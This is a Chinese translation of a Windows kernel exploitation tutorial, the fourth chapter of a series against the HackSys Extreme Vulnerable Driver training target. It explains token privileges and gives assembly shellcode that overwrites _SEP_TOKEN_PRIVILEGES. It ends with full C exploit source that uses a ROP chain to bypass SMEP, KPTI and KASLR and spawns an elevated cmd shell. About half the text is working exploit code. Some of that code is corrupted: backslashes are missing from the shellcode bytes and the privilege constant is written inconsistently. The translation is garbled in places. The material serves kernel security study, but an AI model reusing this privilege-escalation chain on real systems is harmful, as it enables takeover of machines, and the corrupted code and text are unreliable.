shellcode 提升权限

在前四章中，我们所做的一切基本上都是利用基于堆栈的缓冲区溢出并绕过一些内核缓解措施。除了内核特定的内存缓解措施外，到目前为止，利用情况一直很普通：没有stack overflow的堆栈溢出。

在这篇最后的文章中，我们将深入研究 Windows 特权机制并使用它来提升我们的特权。然后，我们必须返回用户空间。毕竟，如果计算机马上就要崩溃，那么提升特权或在 ring0 中执行代码是没有用的！问题是我们已经用 ROP 有效载荷破坏了我们的堆栈。更不用说寄存器了：我们已经破坏了它们。恢复它们是不切实际的。这将是我们今天的主要挑战。

特权在 Windows 上的工作原理

很难涵盖 Windows 上的安全性如何工作，甚至特权如何工作。我将在这篇文章中介绍特权的基础知识。稍后我计划再写一篇关于 Windows 安全架构的文章，但根据我目前的文章安排，这可能需要长达一个世纪的时间 ^^（抱歉！）

"A privilege is the right of an account, such as a user or group account, to perform various system-related operations on the local computer, such as shutting down the system, loading device drivers or changing the system time."

这是微软对 Windows 权限的定义。权限与可保护的对象（如文件和文件夹）无关，而是与对系统资源和系统相关任务的访问有关。这些权限可以在 Windows 终端上使用 whoami 命令观察： whoami/priv。

当低权限用户检查自己的权限时出现以下情况：

这里我们看到一个管理员：

如您所见，有些权限仅对管理员显示。对于每个权限，它可以具有一个状态：启用或禁用。实际上，权限有三种可能的属性：存在、启用和默认启用。程序显示的权限为存在权限 whoami。这些权限可以启用或禁用。但是，如果权限不存在，则可能未启用。状态很简单：如果已启用，则用户可以使用它。否则，必须启用它。“默认启用”属性也很直观，无需解释。

好的，这些权限与用户相关。但是进程呢？

好吧，内核中存储了与每个进程相关联的结构，名为 EPROCESS。它存储了另一个非常重要的数据结构，名为 TOKEN。正如微软所解释的那样，访问令牌对象“包括与进程或线程相关联的用户帐户的身份和权限”。当用户启动新进程（或线程）时，系统将创建其访问令牌的副本并将其存储在进程结构中。如果我们打算提升进程的权限，这就是我们要弄乱的数据结构。

在 token 结构中存储的许多信息中，例如用户帐户的安全标识符 (SID)、用户所属组的 SID、模拟级别等，它实际上存储了用户（或用户组）拥有的权限。这些就是我之前提到的权限！这个家伙是一个数据结构 _SEP_TOKEN_PRIVILEGES，其定义如下：

1. kd> dt _SEP_TOKEN_PRIVILEGES
2. nt!_SEP_TOKEN_PRIVILEGES
3. +0x000 Present : Uint8B
4. +0x008 Enabled : Uint8B
5. +0x010 EnabledByDefault : Uint8B

没错！每个权限都由三个位掩码中的一个位表示：存在、启用和默认启用。每个位都是以下列表中的一个权限：

1. 2: SeCreateTokenPrivilege -> Create a token object
2. 3: SeAssignPrimaryTokenPrivilege -> Replace a process-level token
3. 4: SeLockMemoryPrivilege -> Lock pages in memory
4. 5: SeIncreaseQuotaPrivilege -> Increase quotas
5. 6: SeMachineAccountPrivilege -> Add workstations to the domain
6. 7: SeTcbPrivilege -> Act as part of the operating system
7. 8: SeSecurityPrivilege -> Manage auditing and security log
8. 9: SeTakeOwnershipPrivilege -> Take ownership of files/objects
9. 10: SeLoadDriverPrivilege -> Load and unload device drivers
10. 11: SeSystemProfilePrivilege -> Profile system performance
11. 12: SeSystemtimePrivilege -> Change the system time
12. 13: SeProfileSingleProcessPrivilege -> Profile a single process
13. 14: SeIncreaseBasePriorityPrivilege -> Increase scheduling priority
14. 15: SeCreatePagefilePrivilege -> Create a pagefile
15. 16: SeCreatePermanentPrivilege -> Create permanent shared objects
16. 17: SeBackupPrivilege -> Backup files and directories
17. 18: SeRestorePrivilege -> Restore files and directories
18. 19: SeShutdownPrivilege -> Shut down the system
19. 20: SeDebugPrivilege -> Debug programs
20. 21: SeAuditPrivilege -> Generate security audits
21. 22: SeSystemEnvironmentPrivilege -> Edit firmware environment values
22. 23: SeChangeNotifyPrivilege -> Receive notifications of changes to files or directories
23. 24: SeRemoteShutdownPrivilege -> Force shutdown from a remote system
24. 25: SeUndockPrivilege -> Remove computer from docking station
25. 26: SeSyncAgentPrivilege -> Synch directory service data
26. 27: SeEnableDelegationPrivilege -> Enable user accounts to be trusted for delegation
27. 28: SeManageVolumePrivilege -> Manage the files on a volume
28. 29: SeImpersonatePrivilege -> Impersonate a client after authentication
29. 30: SeCreateGlobalPrivilege -> Create global objects
30. 31: SeTrustedCredManAccessPrivilege -> Access Credential Manager as a trusted caller
31. 32: SeRelabelPrivilege -> Modify the mandatory integrity level of an object
32. 33: SeIncreaseWorkingSetPrivilege -> Allocate more memory for user applications
33. 34: SeTimeZonePrivilege -> Adjust the time zone of the computer's internal clock
34. 35: SeCreateSymbolicLinkPrivilege -> Required to create a symbolic link

值得赞扬的是，这份名单来自这里。谢谢你，波动性基金会。

您可能会发现列表从数字 2 开始，一直到数字 35。为什么它不像计算机科学中的其他一切一样从零开始呢？答案并不明显。答案是如此不明显，我现在还不确定，但我怀疑两个最低有效位一定是零，所以它不会被数字 -1 “误认为” 。如果漏洞允许攻击者以某种方式更改此结构（例如我们正在利用的这个漏洞），则将其设置为 -1 应该更容易。

好的，回到漏洞利用上。我们“所要做的”就是将结构 SEP_TOKEN_PRIVILEGES（位于 TOKEN结构中）的 EPROCESS所有字段（存在、启用和默认启用，尽管最后一个是可选的）更改为 0xffffffffc。

如果我们在内存中找到这个结构并对其进行修改，我们就能提升权限！

编写 shellcode

如上所述，我们必须找到特权结构才能对其进行更改，该结构位于令牌结构内。给定一个结构，使用PsReferencePrimaryToken EPROCESS方法找到主令牌很简单。它将返回令牌！

要使用此方法，我们需要一个 EPROCESS对象。没问题！只要我们为该进程提供一个 PID，PsLookupProcessByProcessId就能给我们提供这个对象。

有了令牌结构，我们必须找到特权结构来修改它。 dtWinDBG 上的命令将显示该结构的偏移量：

它位于偏移量 0x40 处。太棒了。到目前为止，我们必须采取的步骤如下：

• 从 PID 中使用 PsLookupProcessByProcessId()函数获取 EPROCESS将提升权限的进程的对象；
• 从这个 EPROCESS对象中获取 TOKEN结构；
• 从 TOKEN结构体中获取 SEP_TOKEN_PRIVILEGES偏移量0x40处的结构体；
• 将此结构的每个字段更改为 0xffffffffc

好吧。让我们写一些汇编代码：

1. mov rcx, <PID> ;The first argument to PsLookupProcessByProcessId() is the PID number. Will be adjusted dinamically. Rcx on Windows calling convention stores the first argument.
2. sub rsp, 0x8; The second argument given to PsLookupProcessByProcessId() is the EPROCESS struct to be filled (it is an out argument). I'm reserving 8 bytes for this in the stack.
3. mov rdx, rsp; Now placing the second argument, which is a pointer to the stack (the 8 bytes we just reserved for this) to rdx. Rdx on Windows calling convention stores the second argument, remember?
4. movabs rbx, <ADDRESS OF PsLookupProcessByProcessId()> ;
5. call rbx ; Actually call the function! The EPROCESS structure will be in stack (RSP).
7. mov rcx, QWORD PTW [rsp] ; Moving RSP to the first and only argument of PsReferencePrimaryToken()
8. movabs rbx, <ADDRESS OF PsReferencePrimaryToken> ;
9. call rbx ; Calling PsReferencePrimaryToken! The address for the struct will be on the return value, AKA rax register!
10. add rax, 0x40; Adjusting the offset. Now rax points directly to SEP_TOKEN_PRIVILEGES.
11. movabs rcx, 0xfffffffc ; The value of each SEP_TOKEN_PRIVILEGES is moved to rcx.
12. mov QWORD PTR [rax], rcx ; Now the magic happens! We change the first field in SEP_TOKEN_PRIVILEGES to 0xfffffffc.
13. add rax, 0x8 ; Next field...
14. mov QWORD PTR [rax], rcx ; Changing the second field.
15. add rax, 0x8 ; Final field
16. mov QWORD PTR [rax], rcx ; Changing the third field.

还有一件事我们应该做，那就是优雅地返回用户空间。

Kristal发现了一种使用sysret返回用户空间的好方法。 Sysret 与 syscall 的关系与 ret 与 call 的关系一样，但有额外的步骤。

实际上，正常返回用户空间后，操作系统会恢复执行上下文并正常返回。Kristal 所做的（我鼓励您阅读他的帖子）是模仿操作系统返回用户空间的方式。他的方法在这里不起作用，因为启用了 KPTI。

Windows 有两种返回方法。一种是 KPTI 被禁用时的方法，另一种是 KPTI 被启用时的方法。据我所知，Kristal 或任何其他人都没有开发出一种 KPTI 被启用时的方法。好吧，我也没有。

Windows 有一个返回用户空间的特定函数。它被称为 KiKernelSysretExit()。我采用的第一个也是最幼稚的方法是跳转到 shellcode 末尾的该函数，让内核完成繁重的工作，而不是我自己在 shellcode 中完成。令我惊讶的是，它确实有效。

我在 shellcode 中添加了两行：

1. movabs rbx, <ADDRESS_TO_SYSRET_KERNEL_FUNCTION>;
2. jmp rbx;

剩下的工作由内核完成！

我使用我儿子的Vinicius出色的shellcoding 工具将我的汇编代码转换为操作码。然后我将其放入变量中并在运行时调整地址。我的 generate_shellcode()函数现在如下所示：

1. char *generate_shellcode() {
2. char *shellcode = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4e+11); //0x4e+11 is the size of the shellcode
3. memcpy(shellcode, "x48xc7xc1x78x56x34x12x48x83xecx08x48x89xe2x48xbbx00x00x00x00xffxffxffxffxffxd3x48x8bx0cx24x48xbbx10x32x34x12xffxffxffxffxffxd3x48x83xc0x40x48xb9xfcxffxffxffx00x00x00x00x48x89x08x48x83xc0x08x48x89x08x48x83xc0x08x48x89x08x48x83xc4x08x48xBBxC0x0Dx02x1Bx05xF8xFFxFFxFFxE3", 0x4e+11);
4. memcpy(shellcode + 3, &pid, 4); // Adjusting the PID
5. memcpy(shellcode + 16, &kernel_PsLookupProcessByProcessId, 8); //Adjusting the address for PsLookUpProcessByProcessId function
6. memcpy(shellcode + 32, &kernel_PsReferencePrimaryToken, 8); //Adjusting PsReferencePrimaryToken function address
7. memcpy(shellcode + 0x4e+1, &kernel_sysret, 8); // Adjusting sysret function address.
8. return shellcode;
9. }

轰！成功了！

最后的效果

我运行该漏洞：

在左侧，我们可以看到我的漏洞的调试消息。在右侧，它生成了一个 CMD，其权限将被提升。我放置了一个 whoami/priv来断言它没有权限。

当我在漏洞终端上按下回车键时，权限就提升了。

终于！系统没有崩溃，权限也提升了。我会在文章末尾留下完整的源代码。

结论

我们做到了！哎呀，我花了很长时间才写完。我为这么长时间的拖延道歉。从这次练习中，我们可以得出以下几点结论：

• Windows 内核缓解措施并不那么强大。当您从完整性级别中等或更高级别运行时，Windows 的 KASLR 很容易被绕过。SMEP 很有用，但有一个巧妙的小工具可以轻松绕过它。KPTI 是最难对付的敌人，但可以通过分配可执行池并跳转到它来绕过。
• 如果我们无法恢复堆栈，我们可以让内核通过调用它自己的退出函数来完成繁重的工作。
• 汇编编程对于此级别的 shellcoding 非常有用。

希望你喜欢！下次再见。

源代码

1. #include <iostream>
2. #include <string>
3. #include <Windows.h>
4. #include <Psapi.h>
5. // Name of the device
6. #define DEVICE_NAME "\\.\HackSysExtremeVulnerableDriver"
7. #define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
8. unsigned long long g_add_rsp_20h_ret = 0xa155de;
10. unsigned long long g_pop_rdi_pop_r14_pop_rbx_ret = 0x20a518;
11. unsigned long long g_xor_ecx_ecx_mov_rax_rcx_ret = 0x38cf53;
12. unsigned long long g_pop_rdx_ret = 0x416748;
13. unsigned long long g_push_rax_pop_rbx_ret = 0x20a263;
14. unsigned long long g_push_rax_pop_r13_ret = 0x5af724;
15. unsigned long long g_xchg_r8_r13_ret = 0x2c0da6;
16. unsigned long long g_mov_rcx_r8_mov_rax_rcx_ret = 0x93ac7a;
17. unsigned long long g_pop_r8_ret = 0x2017f1;
18. unsigned long long g_jmp_rbx = 0x408aa2;
19. unsigned long long kernel_ExAllocatePoolWithTag;
20. unsigned long long kernel_sysret = 0xa13dc0;
21. unsigned long long kernel_memcpy;
23. DWORD pid;
25. typedef struct sSepTokenPrivileges {
26. UINT8 present;
27. UINT8 enabled;
28. UINT8 enabled_by_default;
29. } SEP_TOKEN_PRIVILEGES;
31. typedef NTSTATUS(*_PsLookupProcessByProcessId)(IN HANDLE, OUT PVOID *);
32. _PsLookupProcessByProcessId kernel_PsLookupProcessByProcessId;
33. typedef PVOID(*_PsReferencePrimaryToken)(PVOID);
34. _PsReferencePrimaryToken kernel_PsReferencePrimaryToken;
36. // Definição do número da IOCTL para o StackOverflow
37. #define STACK_OVERFLOW_IOCTL_NUMBER IOCTL(0x800)
38. // Returns kernel base address
39. unsigned long long get_kernel_base_addr() {
40. LPVOID drivers[1024];
41. DWORD cbNeeded;
43. EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
45. return (unsigned long long)drivers[0];
46. }
47. // Gets the handle for the device driver
48. HANDLE get_handle() {
49. HANDLE h = CreateFileA(DEVICE_NAME,
50. FILE_READ_ACCESS | FILE_WRITE_ACCESS,
51. FILE_SHARE_READ | FILE_SHARE_WRITE,
52. NULL,
53. OPEN_EXISTING,
54. FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
55. NULL);
56. if (h == INVALID_HANDLE_VALUE) {
57. printf("Failed to get handle =(n");
58. return NULL;
59. }
60. return h;
61. }
63. void add_to_payload(char *in_buffer, SIZE_T *offset, unsigned long long *data, SIZE_T size)
64. {
65. memcpy(in_buffer + *offset, data, size);
66. printf("Wrote %lx to offset %un", *data, *offset);
67. *offset += size;
68. }
69. PVOID get_kernel_symbol_addr(const char *symbol) {
70. PVOID kernelBaseAddr;
71. HMODULE userKernelHandle;
72. PCHAR functionAddress;
73. unsigned long long offset;
74. kernelBaseAddr = (PVOID)get_kernel_base_addr(); // Loads kernel base address
75. userKernelHandle = LoadLibraryA("C:\Windows\System32\ntoskrnl.exe"); // Gets kernel binary
77. if (userKernelHandle == INVALID_HANDLE_VALUE) {
78. return NULL;
79. }
81. functionAddress = (PCHAR)GetProcAddress(userKernelHandle, symbol); // Finds given symbol
82. if (functionAddress == NULL) {
83. // Could not find symbol
84. return NULL;
85. }
87. offset = functionAddress - ((PCHAR)userKernelHandle); // Subtracts the loaded binary's base address from the found address. This way, we will find the offset of the symbol for base address 0.
88. return (PVOID)(((PCHAR)kernelBaseAddr) + offset); // Adds the offset to the leaked base address.
89. }
91. void adjust_offsets()
92. {
93. unsigned long long kernel_base_addr = get_kernel_base_addr();
94. g_xor_ecx_ecx_mov_rax_rcx_ret += kernel_base_addr;
95. g_pop_rdi_pop_r14_pop_rbx_ret += kernel_base_addr;
96. g_add_rsp_20h_ret += kernel_base_addr;
97. g_pop_rdx_ret += kernel_base_addr;
98. g_push_rax_pop_rbx_ret += kernel_base_addr;
99. g_push_rax_pop_r13_ret += kernel_base_addr;
100. g_xchg_r8_r13_ret += kernel_base_addr;
101. g_mov_rcx_r8_mov_rax_rcx_ret += kernel_base_addr;
102. g_pop_r8_ret += kernel_base_addr;
103. g_jmp_rbx += kernel_base_addr;
105. kernel_sysret += kernel_base_addr;
106. kernel_ExAllocatePoolWithTag = (unsigned long long) get_kernel_symbol_addr("ExAllocatePoolWithTag");
107. kernel_memcpy = (unsigned long long) get_kernel_symbol_addr("memcpy");
108. kernel_PsLookupProcessByProcessId = (_PsLookupProcessByProcessId) get_kernel_symbol_addr("PsLookupProcessByProcessId");
109. kernel_PsReferencePrimaryToken = (_PsReferencePrimaryToken) get_kernel_symbol_addr("PsReferencePrimaryToken");
110. printf("Primary token: %xu n", (ULONGLONG)kernel_PsReferencePrimaryToken - kernel_base_addr);
111. printf("PsReferencePrimaryToken base addr: %xun", (ULONGLONG) kernel_PsReferencePrimaryToken - (ULONGLONG) kernel_base_addr);
112. }
114. DWORD spawnCmd() {
115. STARTUPINFO si;
116. PROCESS_INFORMATION pi;
117. char cmd[] = "C:\Windows\System32\cmd.exe";
118. ZeroMemory(&si, sizeof(si));
119. si.cb = sizeof(si);
120. ZeroMemory(&pi, sizeof(pi));
121. // Start the child process.
122. if (!CreateProcess(NULL, // No module name (use command line)
123. cmd, // Command line
124. NULL, // Process handle not inheritable
125. NULL, // Thread handle not inheritable
126. FALSE, // Set handle inheritance to FALSE
127. CREATE_NEW_CONSOLE, // No creation flags
128. NULL, // Use parent's environment block
129. NULL, // Use parent's starting directory
130. &si, // Pointer to STARTUPINFO structure
131. &pi) // Pointer to PROCESS_INFORMATION structure
132. )
133. {
134. printf("CreateProcess failed (%d).n", GetLastError());
135. return -1;
136. }
138. return pi.dwProcessId;
139. }
140. char *generate_shellcode() {
141. char *shellcode = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4e+11);
142. memcpy(shellcode, "x48xc7xc1x78x56x34x12x48x83xecx08x48x89xe2x48xbbx00x00x00x00xffxffxffxffxffxd3x48x8bx0cx24x48xbbx10x32x34x12xffxffxffxffxffxd3x48x83xc0x40x48xb9xfcxffxffxffx00x00x00x00x48x89x08x48x83xc0x08x48x89x08x48x83xc0x08x48x89x08x48x83xc4x08x48xBBxC0x0Dx02x1Bx05xF8xFFxFFxFFxE3", 0x4e+11);
143. memcpy(shellcode + 3, &pid, 4);
144. memcpy(shellcode + 16, &kernel_PsLookupProcessByProcessId, 8);
145. memcpy(shellcode + 32, &kernel_PsReferencePrimaryToken, 8);
146. memcpy(shellcode + 0x4e+1, &kernel_sysret, 8);
147. return shellcode;
148. }
149. //Does everything
150. void do_buffer_overflow(HANDLE h)
151. {
152. SIZE_T in_buffer_size = 2072 + 8 * 15 + 0x20;
153. PULONG in_buffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, in_buffer_size);
154. memset((char *)in_buffer, 'A', in_buffer_size);
156. SIZE_T offset = 2072;
158. pid = spawnCmd();
159. adjust_offsets();
160. char *shellcode = generate_shellcode();
162. unsigned long long size_of_copy = 0x4e+11;
164. add_to_payload((char*)in_buffer, &offset, &g_xor_ecx_ecx_mov_rax_rcx_ret, 8);
165. add_to_payload((char*)in_buffer, &offset, &g_pop_rdx_ret, 8);
166. add_to_payload((char*)in_buffer, &offset, &size_of_copy, 8);
167. add_to_payload((char*)in_buffer, &offset, &kernel_ExAllocatePoolWithTag, 8);
168. add_to_payload((char*)in_buffer, &offset, &g_add_rsp_20h_ret, 8);
169. offset += 0x20;
170. add_to_payload((char*)in_buffer, &offset, &g_push_rax_pop_rbx_ret, 8);
171. add_to_payload((char*)in_buffer, &offset, &g_push_rax_pop_r13_ret, 8);
172. add_to_payload((char*)in_buffer, &offset, &g_xchg_r8_r13_ret, 8);
173. add_to_payload((char*)in_buffer, &offset, &g_mov_rcx_r8_mov_rax_rcx_ret, 8);
174. add_to_payload((char*)in_buffer, &offset, &g_pop_rdx_ret, 8);
175. add_to_payload((char*)in_buffer, &offset, (unsigned long long *)(&shellcode), 8);
176. add_to_payload((char*)in_buffer, &offset, &g_pop_r8_ret, 8);
177. add_to_payload((char*)in_buffer, &offset, &size_of_copy, 8);
178. add_to_payload((char*)in_buffer, &offset, &kernel_memcpy, 8);
179. add_to_payload((char*)in_buffer, &offset, &g_jmp_rbx, 8);
181. system("pause");
182. printf("Sending buffer.n");
183. //Sends buffer through IOCTL
184. bool result = DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, in_buffer, (DWORD)in_buffer_size, NULL, 0, NULL, NULL);
185. if (!result)
186. {
187. printf("IOCTL Failed: %Xn", GetLastError());
188. }
189. //Frees allocated memory
190. HeapFree(GetProcessHeap(), 0, (LPVOID)in_buffer);
191. }
193. int main(int argc, char **argv)
194. {
195. do_buffer_overflow(get_handle());
196. system("pause");
197. }

原文始发于微信公众号（sec0nd安全）：[使用 HEVD 破解 Windows 内核] 第 4 章：shellcode 提升权限